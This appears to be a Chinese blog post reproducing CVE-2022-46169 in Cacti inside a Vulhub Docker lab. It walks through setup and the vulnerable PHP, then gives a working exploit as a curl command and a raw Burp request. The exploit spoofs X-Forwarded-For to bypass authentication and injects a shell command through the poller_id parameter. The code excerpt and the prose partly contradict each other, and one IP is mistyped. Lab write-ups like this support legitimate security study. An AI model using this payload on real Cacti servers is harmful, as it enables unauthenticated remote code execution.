当前位置：首页 > news >正文

CVE-2022-46169漏洞复现

news 2025/7/30 7:29:52

环境搭建:ubuntu

sudo apt update
sudo apt install proxychains4
sudo nano /etc/proxychains4.conf
socks4 127.0.0.1 1080 # 代理服务器地址为127.0.0.1，端口为1080，根据实际情况修改
sudo apt install curl
sudo apt update && sudo apt install --reinstall ca-certificates
proxychains curl -fsSL https://get.docker.com | sh
docker versioon
docker compose version
proxychains git clone https://github.com/vulhub/vulhub.git
cd vulhub/cacti/CEV-2022-46169
docker compose up -d 可以通过docker ps -a查看信息

注:在cd vulhub/cacti/CEV-2022-46169中的vim docker-compose.yml可以修改端口号等

然后通过主机的浏览器访问http://虚拟机地址:8080 端口(或者是你修改的端口号)

账号以及密码都是admin

安装xdebug:

pecl install xdebug-3.1.6
运行安装 xdebug
docker-php-ext-enable xdebug
启用 xdebug 扩展
在/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini

添加如下内容：
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes(记得在vscode中的终端进行调试)

复现分析:

1:身份绕过漏洞（未授权访问）
位置：remote_agent.php 文件中的客户端IP校验逻辑
利用方式：
添加 X-Forwarded-For: 127..0.0.1 请求头
原理：get_client_addr() 函数未验证代理头真实性，导致攻击者可伪装为本地IP

漏洞代码:

function poll_for_data() {
$local_data_id = get_nfilter_request_var('local_data_id');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id'); // 未过滤参数

$item = db_fetch_row("SELECT action FROM poller_item WHERE id=$poller_id");

switch ($item['action']) {
case 2: // POLLER_ACTION_SCRIPT_PHP
$cactiphp = proc_open(
"php script_server.php $poller_id", // 直接拼接命令
$descriptorspec,
$pipes
);
break;
}
}

对于接受的参数使用get_filter_request_var函数进行过滤，下面还用了cacti_escapeshellarg对$poller_id参数进行了转义

然后我们使用已近拥有的pyload:

/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For: 127.0.0.1

然后使用curl或者burp suite

curl:curl "http://192.168.1.37:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=\`touch+/tmp/success\`" -H "X-Forwarded-For: 127.0.0.1"

burp:GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/1` HTTP/1.1
Host: 192.168.1.13:8080
Cache-Control: max-age=0
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Connection: close

通过代码可以看到调用了remote_client_authorized函数进行了一个检测
其中又调用了get_client_addr函数